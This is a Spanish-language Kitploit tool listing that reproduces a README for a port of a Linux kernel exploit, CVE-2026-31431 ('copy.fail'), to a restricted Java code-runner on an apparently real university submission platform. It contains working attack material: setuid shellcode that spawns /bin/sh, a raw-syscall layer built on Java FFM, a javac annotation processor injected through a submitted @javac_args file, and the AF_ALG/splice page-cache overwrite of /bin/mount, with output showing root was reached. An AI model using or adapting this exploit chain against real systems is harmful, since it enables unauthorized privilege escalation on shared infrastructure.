Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner — CVE-2026-31431 (copy.fail) — adaptado para entornos de ejecución Java restringidos mediante la capa de syscall FFM + entrega mediante procesador de anotaciones de javac | Kitploit
Herramientas/GitHubGitHub/karollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsEscape de Contenedores

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Explotación de Binarios
GitHubkarollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner

Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner

CVE-2026-31431 (copy.fail) — adaptado para entornos de ejecución Java restringidos mediante la capa de syscall FFM + entrega mediante procesador de anotaciones de javac

Ver RepositorioSitio web
1hace 25 díasAún no revisado
Compartir

Ejecutando CVE-2026-31431 dentro de una caja Java que no quería que ejecutara nada

Crédito primero, porque esto importa. La vulnerabilidad, la técnica y el exploit original son obra de los investigadores de copy.fail. CVE-2026-31431 es de ellos. Yo no encontré este fallo. Lo que sigue es la historia de cómo logré que su exploit funcionara dentro de un ejecutor de código Java que había sido bloqueado hasta el punto de que ejecutar su Python tal como estaba escrito no era una opción. Mi contribución es la fontanería, no la primitiva.

TL;DR

La plataforma de tareas de Java de mi universidad toma el código de los estudiantes, lo compila con javac y lo ejecuta dentro de un contenedor Docker. Tras una primera ronda de sondeo (y unos cuantos fallos reportados que fueron parcheados), el contenedor quedó reducido a un sistema de archivos raíz de solo lectura, seccomp nivel 2, AppArmor en enforce, cero capacidades, y solo /tmp y /dev/shm escribibles, ambos montados con nosuid,nodev,noexec. No había compilador nativo, ninguna ruta de ejecución escribible, ni memfd_create, ni process_vm_readv, ni pidfd_getfd.

El exploit de copy.fail necesita una primitiva de page cache escribible y una forma de entregar el shellcode. Ninguna de las dos era alcanzable por la vía obvia. Así que reconstruí toda la ruta de entrega en Java: una capa de syscalls en bruto construida sobre la API Foreign Function and Memory de Java 21, un payload ELF ensamblado en Python en tiempo de build, y un procesador de anotaciones de javac como disparador. La escritura en el page cache de copy.fail hizo el trabajo real. El resultado final fue uid 0 dentro del contenedor.

Root del contenedor, no root del host. Lo diré más de una vez, porque esa es la esencia de todo el asunto.

La caja, tras la primera ronda

Así es como quedaba el contenedor una vez que se corrigieron los problemas anteriores.

  • Usuario uid=100(runner), gid=101(runner).
  • CapEff: 0x0000000000000000. Cero capacidades efectivas.
  • AppArmor docker-default (enforce).
  • Seccomp nivel 2.
  • Sistema de archivos raíz sobre un overlay de solo lectura.
  • Rutas escribibles: /tmp y /dev/shm, ambos montados con nosuid,nodev,noexec.
  • Sin socket de Docker, sin salida a internet, sin ninguna ruta de ejecución escribible en ningún sitio.

Esa es una caja realmente desagradable en la que aterrizar. La mayoría de los movimientos habituales han desaparecido. No puedes soltar un binario, no puedes compilar uno, no puedes crear uno con memfd_create y ejecutarlo, y los pocos directorios escribibles son noexec.

Pero una puerta quedó entreabierta. runner podía llamar a un wrapper privilegiado del sandbox a través de sudo, que hacía aproximadamente esto:

root@kitploit:~
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &

Así que podías alcanzar uid 0 dentro del contenedor, pero solo con NoNewPrivs=1 y un bounding set limitado a CAP_SETUID | CAP_SETGID. Root restringido. Root de nombre, root en casi nada más.

Esa brecha entre "ser uid 0" y "poder hacer de verdad algo como uid 0" es exactamente la brecha que copy.fail está diseñado para cerrar.

Lo que copy.fail hace realmente, por si no lo has leído

El exploit original abusa del socket AF_ALG de Linux, la API criptográfica del kernel. Concretamente del algoritmo authencesn(hmac(sha256),cbc(aes)) y de su ruta de descifrado. Esa ruta escribe en un búfer scratch del kernel y, mediante una secuencia cuidadosa de llamadas a sendmsg() y splice(), puedes dirigir esa escritura al page cache de un descriptor de archivo arbitrario.

El page cache se comparte entre namespaces de montaje. Así que si escribes en el page cache de un binario setuid, digamos /bin/mount, y luego haces execve() sobre él, el kernel ejecuta tus bytes corruptos. El bit setuid hace que el kernel respete al propietario del archivo, root, como la nueva identidad del proceso. La corrupción no es una carrera. Es una escritura determinista. Esa es toda la razón por la que copy.fail es tan limpio como es.

El Python original hace esto con elegancia. Simplemente asume que puedes hacer un puñado de cosas que mi caja se negó a dejarme hacer:

  • memfd_create() devuelve EPERM.
  • process_vm_readv() devuelve EPERM.
  • pidfd_getfd() devuelve EPERM.
  • Elevar RLIMIT_CORE devuelve EPERM.
  • Compilar y subir un binario C a una ruta ejecutable: no existen rutas de ejecución escribibles.

Así que no pude ejecutar su código. Tuve que reconstruir las partes que tocaban esas primitivas, en una forma que la caja tolerara.

Lo que cambié

Cuatro piezas. Solo cambió la entrega. La escritura en el page cache en sí es de copy.fail, portada syscall por syscall.

Un payload construido en Python, no distribuido como binario

El original usa un blob de shellcode preconstruido. No podía subir ni ejecutar un binario, así que el payload se ensambla desde cero en tiempo de build en Python, byte a byte, y se serializa a hexadecimal. La cabecera ELF, la cabecera de programa y el shellcode se construyen todos en build_payload() y se empaquetan con struct.

El shellcode en sí es corto y honesto sobre lo que quiere:

root@kitploit:~
code += b'\x48\xc7\xc0\x6a\x00\x00\x00'     # mov rax, 106 (setgid)
code += b'\x0f\x05'                          # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00'     # mov rax, 105 (setuid)
code += b'\x0f\x05'                          # syscall
# ... jmp/call/pop to find "/bin/sh", build argv, execve ...

El plan es setgid(0), setuid(0) y luego execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL). Sin archivo externo, sin paso de subida. La cadena hexadecimal se incrusta directamente en el código fuente Java como literal y se decodifica en un inicializador estático. Eso esquiva todo el problema de "no hay ruta de ejecución escribible", porque el payload nunca toca el disco. Va a memoria y luego al page cache.

Java FFM como capa de syscalls, porque no había otra forma de hacer syscalls

Esta es la parte con la que estoy más contento, y también la que me resultó más absurda mientras la escribía.

Necesitaba syscalls en bruto desde dentro del contenedor y no tenía forma de compilar ni ejecutar código nativo. La API Foreign Function and Memory de Java 21 permite llamar directamente a syscall() de la biblioteca C a través del enlazador nativo. El detalle es que no quería depender de la ruta exacta del módulo ni de que FFM estuviera en preview, así que todo el cableado se hace mediante reflexión contra java.lang.foreign.*. Encuentra el enlazador nativo, busca syscall y __errno_location, construye un FunctionDescriptor para (long, long, long, long, long, long, long) -> long y devuelve un MethodHandle.

root@kitploit:~
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
    return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}

A partir de ahí cada syscall es simplemente sc(NR, arg0, arg1, ...). La memoria proviene de mmap anónimo (sc(9, 0, sz, 3, 0x22, -1, 0)), las escrituras pasan por /proc/self/mem, y las lecturas vuelven de la misma manera. Sin JNI, sin compilación nativa, sin dependencias más allá del JDK. Leer y escribir mi propia memoria a través de /proc/self/mem es lo que reemplaza a process_vm_readv, que la caja había bloqueado.

Un golpe de suerte: el wrapper de lanzamiento de la JVM del contenedor ya pasaba --enable-native-access=ALL-UNNAMED. Sin esa bandera FFM se niega a hacer la downcall, y me habría quedado atascado. Dejaron la puerta sin cerrar en el lado de la JVM incluso después de bloquear todo lo demás.

El procesador de anotaciones, que es la escalada real

Esta es la jugada que convierte "puedo enviar Java" en "puedo ejecutar código como root restringido".

La plataforma compila los envíos de los estudiantes con javac. javac soporta procesadores de anotaciones mediante -processor ClassName. El método process() de un procesador se ejecuta durante la compilación, en el mismo proceso que javac, con los mismos privilegios. El endpoint de envío también aceptaba un archivo @javac_args entre las fuentes, y su contenido se pasaba directamente al compilador. Así que podía entregarle a javac esto:

root@kitploit:~
-processor
RP
Trigger.java

Y RP.java, mi procesador de anotaciones, se ejecutaba en tiempo de compilación:

root@kitploit:~
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
    public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
        if (done) return false; done = true;
        String out = run(<PRIVESC_CMD>,
                         "timeout", "55", "java",
                         "--enable-native-access=ALL-UNNAMED", "CopyFailV11");
        processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
        return false;
    }
}

El procesador llama al wrapper privilegiado del sandbox, que ejecuta java CopyFailV11 como root restringido. El exploit se ejecuta entonces en ese contexto de root restringido y realiza la sobrescritura del page cache. El mensaje de error de compilación es también cómo exfiltré la salida de vuelta a través de la respuesta de la plataforma, ya que una compilación fallida es algo normal de ver.

La cadena completa, de principio a fin:

  1. Envía las fuentes: CopyFailV11.java más RP.java más Trigger.java más @javac_args.
  2. javac compila todo, se topa con el procesador de anotaciones.
  3. El procesador invoca el wrapper privilegiado, que ejecuta java CopyFailV11.
  4. CopyFailV11 se ejecuta como root restringido y realiza la sobrescritura del page cache.

La escritura en el page cache, portada a syscalls de Java

Esta es la primitiva de copy.fail, sin cambios en el concepto, solo expresada a través de la capa de syscalls de Java. Cada 4 bytes del payload requiere su propio ciclo nuevo de socket AF_ALG:

root@kitploit:~
static int patch(int fd, int off, byte[] v) throws Throwable {
    long af = sc(41, 38, 5, 0, 0, 0, 0);              // socket(AF_ALG, SOCK_SEQPACKET, 0)
    // ... bind to authencesn(hmac(sha256),cbc(aes)), set 72-byte key, set authsize ...
    long of = sc(43, af, 0, 0, 0, 0, 0);              // accept -> operation socket

    // sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
    sc(46, of, ma, 32768, 0, 0, 0);

    // pipe2 + two splice calls to move the data through
    sc(293, pa, 0, 0, 0, 0, 0);                       // pipe2
    sc(275, fd, oa, pw, 0, o, 0);                     // splice: file -> pipe write end
    sc(275, pr, 0, of, 0, o, 0);                      // splice: pipe read end -> AF_ALG op socket
    // ...
}

Lo que hace que esto funcione, y quiero dejar claro que no es un hallazgo mío: la ruta de escritura scratch de descifrado de authencesn, combinada con MSG_SPLICE_PAGES y splice(), sortea la semántica normal de copy on write y deposita los bytes directamente en el page cache del descriptor de archivo objetivo. Sin carrera. Determinista.

El objetivo es /bin/mount. Es setuid root y está presente en el page cache aunque el sistema de archivos raíz sea un overlay de solo lectura. El overlay es de solo lectura en disco. El page cache no es el overlay.

Resultado

root@kitploit:~
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354   <-- "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216          <-- all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...

CHILD_STATUS:
  Name:   mount
  Uid:    0  0  0  0
  Gid:    0  0  0  0
  CapEff: 00000000000000c0
  NoNewPrivs: 1
  Seccomp: 2

[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)

Los bytes aterrizan en el page cache, el hijo se ejecuta como uid 0 y gid 0, y la escritura es cien por cien fiable entre ejecuciones. Que los primeros cuatro bytes sean 54455354 es simplemente TEST en ASCII, que es la escritura de cordura que hago antes de escribir el payload real. Si la escritura de cordura aparece en el archivo, la escritura completa también aparecerá.

Lo que no hice

La vulnerabilidad central es enteramente de copy.fail. No descubrí CVE-2026-31431, no encontré la primitiva AF_ALG, y no diseñé el truco de sendmsg más splice. Adapté la entrega para una caja donde ninguna de las herramientas habituales existía:

  • Ningún binario nativo podía compilarse o subirse.
  • memfd_create, process_vm_readv y pidfd_getfd estaban todos bloqueados.
  • La única ruta de ejecución disponible pasaba por el compilador de Java.

Si quieres entender por qué todo esto funciona, lee copy.fail. Este repositorio es la respuesta a "vale, ¿pero y si la caja también te quita el compilador y tu archivo de shellcode?".

Limitaciones, y siendo honesto sobre ellas

El hijo hereda todas las restricciones que impuso el wrapper del sandbox. Nada de la escritura en el page cache afloja esas restricciones.

  • NoNewPrivs: 1. Sin ganar más privilegios.
  • CapEff: 0xc0. Solo CAP_SETUID y CAP_SETGID.
  • Seccomp: 2. El filtrado de syscalls sigue activo.
  • docker-default de AppArmor sigue en enforce.

Así que esto es root del contenedor, no root del host. Escapar del contenedor desde este estado es un problema aparte y más difícil, y entre AppArmor y el endurecimiento del kernel, la caja hace un buen trabajo cerrando esa vía. No estoy afirmando un escape de Docker. Estoy afirmando que el "root restringido" resultó ser menos restrictivo de lo que pretendía la configuración, porque la primitiva de copy.fail no necesita capacidades reales, solo necesita la capacidad de escribir en un page cache, y al page cache no le importa tu máscara de capacidades.

Esa es la parte sobre la que merece la pena detenerse. El sandbox fue diseñado en torno a lo que root puede hacer. El exploit no hace nada como root. Le hace una cosa a un archivo, y el archivo resulta ser setuid.

Archivos

  • copy_fail_java_runner.py. Script de construcción. Ensambla el payload ELF en Python, lo incrusta en las fuentes Java generadas y escribe un payload.json listo para POSTear. Configura el host objetivo, el endpoint del runner y el comando de privesc en la parte superior del archivo antes de ejecutarlo.
  • Generados al ejecutar: CopyFailV11.java (el exploit y la capa de syscalls FFM), RP.java (el procesador de anotaciones), Trigger.java y la clase principal (fuentes dummy para que la compilación esté bien formada), javac_args (inyecta -processor RP) y payload.json.

Vulnerabilidad y técnica originales: copy.fail, CVE-2026-31431. Este proyecto es un port específico para un entorno y no reclama ningún crédito por el fallo subyacente.

Descargar herramienta